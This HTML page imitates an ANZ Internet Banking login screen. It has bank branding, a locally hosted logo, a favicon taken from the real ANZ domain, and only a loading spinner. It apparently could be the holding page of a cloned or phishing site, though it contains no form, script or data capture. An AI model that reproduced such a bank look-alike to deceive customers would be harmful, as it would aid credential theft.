<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login - ANZ Internet Banking</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
    <link rel="icon" href="https://login.anz.com/internetbanking/favicon.ico" />

    <style>
    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
    }

    html, body {
        height: 100%;
        font-family: 'Roboto', 'Helvetica Neue', Helvetica, Arial, sans-serif;
        color: #4e4d4d;
        background-color: #ffffff;
        font-size: 15px;
    }

    a {
        color: #007dba;
        text-decoration: none;
    }

    a:hover, a:focus {
        text-decoration: underline;
    }

    img {
        max-width: 100%;
        height: auto;
        display: block;
    }

    .container {
        width: 90%;
        max-width: 1200px;
        margin: 0 auto;
        padding: 40px 20px;
    }

    .header .container {
        padding: 10px 20px;
    }

    h1 {
        font-size: 2em;
        color: #004b73;
        margin-bottom: 20px;
    }

    h2 {
        font-size: 1.5em;
        color: #004468;
        margin-bottom: 15px;
        font-weight: 500;
    }

    p {
        margin-bottom: 15px;
        line-height: 1.6;
    }

    ul {
        list-style: none;
        padding-left: 0;
    }

    li {
        margin-bottom: 10px;
    }

    label {
        font-weight: 600;
    }

    .header {
        background-color: #004165;
    }

    .header .logo img {
        height: 50px;
        width: auto;
    }

    .main-content {
        display: flex;
        justify-content: center;
        align-items: center;
        height: calc(100vh - 80px);
    }

    .loading-screen {
        display: flex;
        justify-content: center;
        align-items: center;
        width: 100%;
        height: 100%;
    }

    .spinner {
        width: 50px;
        height: 50px;
        border: 6px solid #f3f3f3;
        border-top: 6px solid #0072ac;
        border-radius: 50%;
        animation: spin 1s linear infinite;
    }

    @keyframes spin {
        to { transform: rotate(360deg); }
    }

    .btn-primary, .btn-secondary, .btn-outline-primary {
        border: none;
        border-radius: 4px;
        cursor: pointer;
        font-weight: 600;
        transition: background-color 0.3s ease, color 0.3s ease, transform 0.2s ease;
        display: inline-flex;
        align-items: center;
        justify-content: center;
    }

    .btn-primary {
        display: flex;
        align-items: center;
        justify-content: center;
        background-color: #0072ac;
        width: 100%;
        color: #fff;
        padding: 14px 25px;
    }

    .btn-primary .btn-icon {
        width: 20px;
        height: 20px;
        margin-right: 8px;
    }

    .btn-primary:hover {
        background-color: #0080c0;
    }

    .btn-secondary {
        background-color: #f0f0f0;
        color: #004165;
        margin-top: 15px;
        padding: 12px 0;
    }

    .btn-secondary:hover {
        background-color: #e0e0e0;
    }

    .btn-outline-primary {
        background-color: #ffffff;
        color: #0072ac;
        border: 2px solid #0072ac;
        padding: 6px 12px;
        font-size: 0.875em;
    }

    .btn-outline-primary:hover {
        background-color: #0072ac;
        color: #ffffff;
    }

    .additional-links {
        margin-top: 20px;
    }

    .additional-links a {
        display: block;
        margin-bottom: 10px;
    }

    .register-privacy {
        margin-top: 20px;
        text-align: center;
    }

    .register-privacy p {
        margin-bottom: 10px;
    }

    .register-privacy a {
        color: #078fd3;
    }

    .register-privacy a:hover {
        color: #005f8d;
    }

    .support-section {
        display: flex;
        flex-direction: column;
        gap: 40px;
    }

    .support-info img {
        width: 100%;
        height: auto;
        margin-bottom: 20px;
    }

    .support-info p {
        margin-bottom: 15px;
        font-size: 1em;
    }

    .support-info .btn-secondary {
        background-color: #0072ac;
        color: #fff;
        width: 100%;
        padding: 12px 0;
        transition: background-color 0.3s ease, transform 0.2s ease;
    }

    .support-info .btn-secondary:hover {
        background-color: #0080c0;
    }

    .further-info h2 {
        font-size: 1.4em;
        margin-bottom: 20px;
    }

    .further-info ul {
        padding-left: 0;
    }

    .further-info li a {
        color: #0072ac;
        font-size: 1em;
        transition: color 0.3s ease;
    }

    .further-info li a:hover {
        color: #005f8d;
    }

    .footer {
        background-color: #006da8;
        color: #fff;
        padding: 10px 0;
        text-align: left;
        position: relative;
        bottom: 0;
        width: 100%;
    }

    .footer p {
        margin: 0;
        font-size: 0.95em;
    }

    @media (max-width: 1024px) {
        .login-section {
            flex-direction: column;
            gap: 30px;
        }
    }

    @media (max-width: 740px) {

        h1 {
            text-align: center;
        }

        .login-form, .support-section {
            background-color: #fff;
            border: 0px;
            flex: 1;
        }

        .main-content {
            flex-direction: column;
            padding: 20px 0;
        }

        .login-section {
            flex-direction: column;
            gap: 20px;
        }

        .login-form, .support-section {
            padding: 0px;
        }

        .btn-primary, .btn-secondary, .btn-outline-primary {
            width: 100%;
            padding: 12px 0;
        }

        .support-info img {
            width: 100%;
            height: auto;
        }

        h1 {
            font-size: 1.75em;
        }

        h2 {
            font-size: 1.3em;
        }
    }

    a:focus, button:focus, input:focus {
        outline: 2px solid #005f8d;
        outline-offset: 2px;
    }

    .hr-style {
        margin-bottom: 34px;
    }

    @media (max-width: 600px) {
        .btn-primary .btn-icon {
            width: 18px;
            height: 18px;
            margin-right: 6px;
        }
    }
    </style>
</head>
<body>
    <header class="header">
        <div class="container">
            <a href="https://www.anz.com.au/personal/" class="logo">
                <img src="./images/anz_logo.svg" alt="ANZ Logo">
            </a>
        </div>
    </header>

    <main class="main-content">
        <div class="loading-screen">
            <div class="spinner"></div>
        </div>
    </main>

    <footer class="footer">
        <div class="container">
            <p>© Australia and New Zealand Banking Group Limited (ANZ) 2025 ABN 11 005 357 522.</p>
        </div>
    </footer>